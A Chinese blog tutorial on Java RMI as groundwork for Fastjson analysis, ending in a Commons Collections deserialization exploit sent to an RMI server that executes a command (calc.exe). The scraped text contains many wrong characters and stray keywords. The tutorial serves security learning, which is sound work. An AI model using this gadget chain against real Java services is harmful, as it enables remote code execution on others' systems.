在分析Fastjson漏洞前,须要了解RMI机制和JNDI注入等知识点,因此本篇文来分析一下RMI机制。java
在Java里面简单来讲使用Java调用远程Java程序使用的就是RMI,调用C的程序调用的是JNI,调用python程序使用到的是Jython。RMI、JNI、Jython,其实在安全中都能发挥比较大的做用。 JNI在安全里面的运用就比较大了,既然能够调用C语言,那么后面的。。自行脑补。这个暂且忽略不讲,后面再说。若是使用或了解过python编写burp的插件的话,对这个Jython也不会陌生,若是说pthon的插件就须要安装一个Jython的jar包。这个后面再说。这里主要讲RMI,该机制会在反序列化中频繁运用,例如Weblogic的T3协议的反序列化漏洞。python
在了解RMI前还须要弄懂一些概念。apache
RMI(Remote Method Invocation,远程方法调用)是用Java在JDK1.2中实现的,它大大加强了Java开发分布式应用的能力。
Java自己对RMI规范的实现默认使用的是JRMP协议。而在Weblogic中对RMI规范的实现使用T3协议。json
JRMP:Java Remote Message Protocol ,Java 远程消息交换协议。这是运行在Java RMI之下、TCP/IP之上的线路层协议。该协议要求服务端与客户端都为Java编写,就像HTTP协议同样,规定了客户端和服务端通讯要知足的规范。
RMI可使用如下协议实现:安全
Java远程方法协议(JRMP):专门为RMI设计的协议
Internet Inter-ORB协议(IIOP):基于CORBA实现的跨语言协议服务器
JNDI :Java命名和目录接口(the Java naming and directory interface,JNDI)是一组在Java应用中访问命名和目录服务的API。命名服务将名称和对象联系起来,使得读者能够用名称访问对象。目录服务是一种命名服务,在这种服务里,对象不但有名称,还有属性。
RMI(Remote Method Invocation)为远程方法调用,是容许运行在一个Java虚拟机的对象调用运行在另外一个Java虚拟机上的对象的方法。 这两个虚拟机能够是运行在相同计算机上的不一样进程中,也能够是运行在网络上的不一样计算机中。网络
在socket
不一样于socket,RMI中分为三大部分:Server、Client、Registry 。分布式
Server: 提供远程的对象 Client: 调用远程的对象 Registry: 一个注册表,存放着远程对象的位置(ip、端口、标识符)
前面也说过RMI能够调用远程的一个Java的对象进行本地执行,可是远程被调用的该类必须继承java.rmi.Remote
接口。ide
package com.rmi; import java.rmi.Remote; import java.rmi.RemoteException; public interface rmidemo extends Remote { public String hello() throws RemoteException; }
在定义远程接口的时候须要继承java.rmi.Remote
接口,而且修饰符须要为public
不然远程调用的时候会报错。而且定义的方法里面须要抛出一个RemoteException
的异常。
package com.rmi; import java.rmi.RemoteException; import java.rmi.server.UnicastRemoteObject; public class RemoteHelloWorld extends UnicastRemoteObject implements rmidemo{ protected RemoteHelloWorld() throws RemoteException { System.out.println("构造方法"); } public String hello() throws RemoteException { System.out.println("hello方法被调用"); return "hello,world"; } }
在编写该实现类中须要将该类继承UnicastRemoteObject
。
package com.rmi; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; public class servet { public static void main(String[] args) throws RemoteException { rmidemo hello = new RemoteHelloWorld();//建立远程对象 Registry registry = LocateRegistry.createRegistry(1099);//建立注册表 registry.rebind("hello",hello);//将远程对象注册到注册表里面,而且设置值为hello } }
到了这一步,简单的RMI服务端的代码就写好了。下面来写一个客户端调用该远程对象的代码。
编写客户端而且调用远程对象
package com.rmi.rmiclient; import com.rmi.RemoteHelloWorld; import com.rmi.rmidemo; import java.rmi.NotBoundException; import java.rmi.Remote; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; public class clientdemo { public static void main(String[] args) throws RemoteException, NotBoundException { Registry registry = LocateRegistry.getRegistry("localhost", 1099);//获取远程主机对象 // 利用注册表的代理去查询远程注册表中名为hello的对象 rmidemo hello = (rmidemo) registry.lookup("hello"); // 调用远程方法 System.out.println(hello.hello()); } }
在这一步须要注意的是,若是远程的这个方法有参数的话,调用该方法传入的参数必须是可序列化的。在传输中是传输序列化后的数据,服务端会对客户端的输入进行反序列化。网上有不少分析RMI传输流量的文章,能够去找找看这里就不作演示了。
须要使用到RM进行反序列化攻击须要两个条件:接收Object类型的参数、RMI的服务端存在执行命令利用链。
这里对上面得代码作一个简单的改写。
package com.rmidemo; import java.rmi.Remote; import java.rmi.RemoteException; public interface User extends Remote { public String hello(String hello) throws RemoteException; void work(Object obj) throws RemoteException; void say() throws RemoteException; }
须要定义一个object类型的参数方法。
package com.rmidemo; import java.rmi.RemoteException; import java.rmi.server.RMIClientSocketFactory; import java.rmi.server.RMIServerSocketFactory; import java.rmi.server.UnicastRemoteObject; public class UserImpl extends UnicastRemoteObject implements User { protected UserImpl() throws RemoteException { } protected UserImpl(int port) throws RemoteException { super(port); } protected UserImpl(int port, RMIClientSocketFactory csf, RMIServerSocketFactory ssf) throws RemoteException { super(port, csf, ssf); } public String hello(String hello) throws RemoteException { return "hello"; } public void work(Object obj) throws RemoteException { System.out.println("work被调用了"); } public void say() throws RemoteException { System.out.println("say"); } }
package com.rmidemo; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; public class server { public static void main(String[] args) throws RemoteException { User user = new UserImpl(); Registry registry = LocateRegistry.createRegistry(1099); registry.rebind("user",user); System.out.println("rmi running...."); } }
package com.rmidemo; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import java.lang.annotation.Retention; import java.lang.reflect.Constructor; import java.rmi.Naming; import java.util.HashMap; import java.util.Map; public class client { public static void main(String[] args) throws Exception { String url = "rmi://192.168.20.130:1099/user"; User userClient = (User) Naming.lookup(url); userClient.work(getpayload()); } public static Object getpayload() throws Exception{ Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}) }; Transformer transformerChain = new ChainedTransformer(transformers); Map map = new HashMap(); map.put("value", "sijidou"); Map transformedMap = TransformedMap.decorate(map, null, transformerChain); Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class); ctor.setAccessible(true); Object instance = ctor.newInstance(Retention.class, transformedMap); return instance; } }
执行客户端后就会执行咱们设置好要执行的命令,也就是弹出计算器。之因此会被执行的缘由前面也说过RMI在传输数据的时候,会被序列化,传输的时序列化后的数据,在传输完成后再进行反序列化。那么这时候若是传输一个恶意的序列化数据就会进行反序列化的命令执行。至于序列化数据怎么构造,这个其实分析过CC链就一目了然了,这里不作赘述。
https://xz.aliyun.com/t/6660#toc-6 https://xz.aliyun.com/t/4711#toc-8
在RMI的攻击手法中,其实不止文中提到的这么一个,可是这里就先告一段落先。如今的主要是为了分析Fastjson漏洞作一个前置准备,很少太深的研究。